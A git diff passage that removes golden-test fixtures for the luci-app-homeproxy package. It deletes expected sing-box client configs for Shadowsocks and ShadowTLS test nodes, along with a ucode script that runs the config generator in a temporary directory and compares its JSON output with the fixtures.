b/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/expected/config-diagnostics.json deleted file mode 100644 index aa6fe1f62..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/expected/config-diagnostics.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "items": [ - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/expected/sing-box-c.json deleted file mode 100644 index 1ee538f52..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/expected/sing-box-c.json +++ /dev/null @@ -1,164 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - }, - { - "tag": "main-dns", - "domain_resolver": { - "server": "default-dns", - "strategy": "ipv4_only" - }, - "detour": "main-out", - "type": "tcp", - "server": "223.5.5.5" - }, - { - "tag": "china-dns", - "domain_resolver": { - "server": "default-dns", - "strategy": "prefer_ipv6" - }, - "detour": "direct-out", - "type": "udp", - "server": "223.5.5.5" - } - ], - "rules": [ - { - "rule_set": "geosite-cn", - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv6" - }, - { - "type": "logical", - "mode": "and", - "rules": [ - { - "rule_set": "geosite-noncn", - "invert": true - }, - { - "rule_set": "geoip-cn" - } - ], - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv6" - } - ], - "strategy": "ipv4_only", - "final": "main-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - }, - { - "type": "shadowsocks", - "tag": "main-out", - "routing_mark": 100, - "server": "ss-basic.example", - "server_port": 8388, - "password": "basic-password", - "method": "2022-blake3-aes-128-gcm" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - } - ], - "rule_set": [ - { - "type": "remote", - "tag": "geoip-cn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/IPCIDR-CHINA@rule-set/cn.srs", - "download_detour": "main-out" - }, - { - "type": "remote", - "tag": "geosite-cn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-cn.srs", - "download_detour": "main-out" - }, - { - "type": "remote", - "tag": "geosite-noncn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-!cn.srs", - "download_detour": "main-out" - } - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv4" - }, - "final": "main-out" - }, - "experimental": { - "cache_file": { - "enabled": true, - "path": "__TEST_ROOT__/var/run/homeproxy/cache.db" - } - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/homeproxy deleted file mode 100644 index dab640d66..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/homeproxy +++ /dev/null @@ -1,23 +0,0 @@ -config homeproxy 'config' - option routing_mode 'bypass_mainland_china' - option proxy_mode 'redirect' - option ipv6_support '0' - option main_node 'n1' - option main_udp_node 'same' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option self_mark '100' - -config homeproxy 'control' - -config node 'n1' - option type 'shadowsocks' - option label 'SS Basic' - option address 'ss-basic.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'basic-password' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/case.json deleted file mode 100644 index 5550c6db4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/expected/config-diagnostics.json deleted file mode 100644 index aa6fe1f62..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/expected/config-diagnostics.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "items": [ - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/expected/sing-box-c.json deleted file mode 100644 index 17f0a2025..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/expected/sing-box-c.json +++ /dev/null @@ -1,178 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - }, - { - "tag": "main-dns", - "domain_resolver": { - "server": "default-dns", - "strategy": "ipv4_only" - }, - "detour": "main-out", - "type": "tcp", - "server": "223.5.5.5" - }, - { - "tag": "china-dns", - "domain_resolver": { - "server": "default-dns", - "strategy": "prefer_ipv6" - }, - "detour": "direct-out", - "type": "udp", - "server": "223.5.5.5" - } - ], - "rules": [ - { - "rule_set": "geosite-cn", - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv6" - }, - { - "type": "logical", - "mode": "and", - "rules": [ - { - "rule_set": "geosite-noncn", - "invert": true - }, - { - "rule_set": "geoip-cn" - } - ], - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv6" - } - ], - "strategy": "ipv4_only", - "final": "main-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - }, - { - "type": "shadowtls", - "tag": "main-out-shadowtls", - "routing_mark": 100, - "server": "shadowtls.example", - "server_port": 443, - "version": 3, - "password": "shadowtls-password", - "tls": { - "enabled": true, - "server_name": "www.apple.com" - } - }, - { - "type": "shadowsocks", - "tag": "main-out", - "routing_mark": 100, - "server": "ss-shadowtls.example", - "server_port": 8388, - "password": "ss-password", - "method": "2022-blake3-aes-128-gcm", - "detour": "main-out-shadowtls" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - } - ], - "rule_set": [ - { - "type": "remote", - "tag": "geoip-cn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/IPCIDR-CHINA@rule-set/cn.srs", - "download_detour": "main-out" - }, - { - "type": "remote", - "tag": "geosite-cn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-cn.srs", - "download_detour": "main-out" - }, - { - "type": "remote", - "tag": "geosite-noncn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-!cn.srs", - "download_detour": "main-out" - } - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv4" - }, - "final": "main-out" - }, - "experimental": { - "cache_file": { - "enabled": true, - "path": "__TEST_ROOT__/var/run/homeproxy/cache.db" - } - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/homeproxy deleted file mode 100644 index dcf3128c5..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/homeproxy +++ /dev/null @@ -1,29 +0,0 @@ -config homeproxy 'config' - option routing_mode 'bypass_mainland_china' - option proxy_mode 'redirect' - option ipv6_support '0' - option main_node 'n1' - option main_udp_node 'same' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option self_mark '100' - -config homeproxy 'control' - -config node 'n1' - option type 'shadowsocks' - option label 'SS ShadowTLS' - option address 'ss-shadowtls.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'ss-password' - option shadowtls_enabled '1' - option shadowtls_address 'shadowtls.example' - option shadowtls_port '443' - option shadowtls_version '3' - option shadowtls_password 'shadowtls-password' - option shadowtls_sni 'www.apple.com' diff --git a/luci-app-homeproxy/tests/generator-golden/run_cases.uc b/luci-app-homeproxy/tests/generator-golden/run_cases.uc deleted file mode 100644 index 44ced8dc5..000000000 --- a/luci-app-homeproxy/tests/generator-golden/run_cases.uc +++ /dev/null @@ -1,182 +0,0 @@ -#!/usr/bin/ucode -'use strict'; - -import { readfile, writefile, stat } from 'fs'; - -const base_dir = ARGV?.[0] || 'tests/generator-golden'; -const generator = ARGV?.[1] || '/etc/homeproxy/scripts/generate_client.uc'; -const module_dir = ARGV?.[2]; - -function hasFlag(flag) { - const argv = (type(ARGV) === 'array') ? ARGV : []; - - for (let item in argv) - if (item === flag) - return true; - - return false; -} - -const update_expected = hasFlag('--update'); - -function shellquote(s) { - return `'${replace(s, "'", "'\\''")}'`; -} - -function fail(message) { - warn(message + '\n'); - exit(1); -} - -function path(...parts) { - return join('/', parts); -} - -function exists(file) { - return stat(file)?.type === 'file'; -} - -function readJson(file, fallback) { - if (!exists(file)) - return fallback; - - return json(readfile(file)); -} - -function normalize(value, test_root) { - let value_type = type(value); - - if (value_type === 'string') - return replace(value, test_root, '__TEST_ROOT__'); - - if (value_type === 'array') { - let result = []; - for (let item in value) - push(result, normalize(item, test_root)); - return result; - } - - if (value_type === 'object') { - let result = {}; - for (let key in value) { - if (key === 'time') - continue; - result[key] = normalize(value[key], test_root); - } - return result; - } - - return value; -} - -function canonical(value) { - return sprintf('%.J', value); -} - -function compareJson(case_name, label, actual, expected) { - if (canonical(actual) === canonical(expected)) - return; - - warn(sprintf('%s: %s golden mismatch\n', case_name, label)); - warn('expected:\n' + sprintf('%.J\n', expected)); - warn('actual:\n' + sprintf('%.J\n', actual)); - exit(1); -} - -function generatorCommand() { - if (module_dir && module_dir !== '--update') - return sprintf('ucode -S -L %s %s', shellquote(module_dir), shellquote(generator)); - - return shellquote(generator); -} - -function prepareRoot(case_name, fixture_dir) { - const test_root = '/tmp/homeproxy-golden-' + replace(case_name, /[^A-Za-z0-9_-]/g, '_'); - - system('rm -rf ' + shellquote(test_root)); - system('mkdir -p ' + - shellquote(path(test_root, 'etc/config')) + ' ' + - shellquote(path(test_root, 'etc/homeproxy/resources')) + ' ' + - shellquote(path(test_root, 'var/run/homeproxy'))); - - writefile(path(test_root, 'etc/config/homeproxy'), readfile(path(fixture_dir, 'homeproxy'))); - - const direct_list = path(fixture_dir, 'resources/direct_list.txt'), - proxy_list = path(fixture_dir, 'resources/proxy_list.txt'); - writefile(path(test_root, 'etc/homeproxy/resources/direct_list.txt'), exists(direct_list) ? readfile(direct_list) : ''); - writefile(path(test_root, 'etc/homeproxy/resources/proxy_list.txt'), exists(proxy_list) ? readfile(proxy_list) : ''); - - return test_root; -} - -function runCase(item) { - const case_name = item.name, - fixture_dir = path(base_dir, 'fixtures', case_name), - meta = readJson(path(fixture_dir, 'case.json'), null); - - if (!meta) - fail(sprintf('%s: missing fixture case.json', case_name)); - - const test_root = prepareRoot(case_name, fixture_dir), - stdout_path = path(test_root, 'var/run/homeproxy/stdout.log'), - stderr_path = path(test_root, 'var/run/homeproxy/stderr.log'), - command = sprintf('%s --test-root %s >%s 2>%s', - generatorCommand(), - shellquote(test_root), - shellquote(stdout_path), - shellquote(stderr_path)), - status = system(command), - success = (status === 0); - - if (!!meta.success !== success) { - warn(sprintf('%s: expected success=%J, got status=%d\n', case_name, meta.success, status)); - warn(readfile(stderr_path) || ''); - system('rm -rf ' + shellquote(test_root)); - exit(1); - } - - const actual_config_path = path(test_root, 'var/run/homeproxy/sing-box-c.json'), - expected_config_path = path(fixture_dir, 'expected/sing-box-c.json'); - - if (meta.success) { - if (!exists(actual_config_path)) - fail(sprintf('%s: generator succeeded but sing-box-c.json is missing', case_name)); - const actual_config = normalize(json(readfile(actual_config_path)), test_root); - - if (update_expected) - writefile(expected_config_path, sprintf('%.J\n', actual_config)); - else - compareJson(case_name, 'sing-box-c.json', - actual_config, - readJson(expected_config_path, null)); - } - - const actual_diagnostics = exists(path(test_root, 'var/run/homeproxy/config-diagnostics.json')) - ? json(readfile(path(test_root, 'var/run/homeproxy/config-diagnostics.json'))) - : { items: [] }; - const normalized_diagnostics = normalize(actual_diagnostics, test_root), - expected_diagnostics_path = path(fixture_dir, 'expected/config-diagnostics.json'); - - if (update_expected) - writefile(expected_diagnostics_path, sprintf('%.J\n', normalized_diagnostics)); - else - compareJson(case_name, 'config-diagnostics.json', - normalized_diagnostics, - readJson(expected_diagnostics_path, { items: [] })); - - system('rm -rf ' + shellquote(test_root)); - printf('%s ok\n', case_name); -} - -const cases = readJson(path(base_dir, 'cases.json'), []); -let count = 0; - -for (let item in cases) { - if (!item.generator_fixture) - continue; - - runCase(item); - count++; -} - -printf('generator golden fixtures: %d ok\n', count);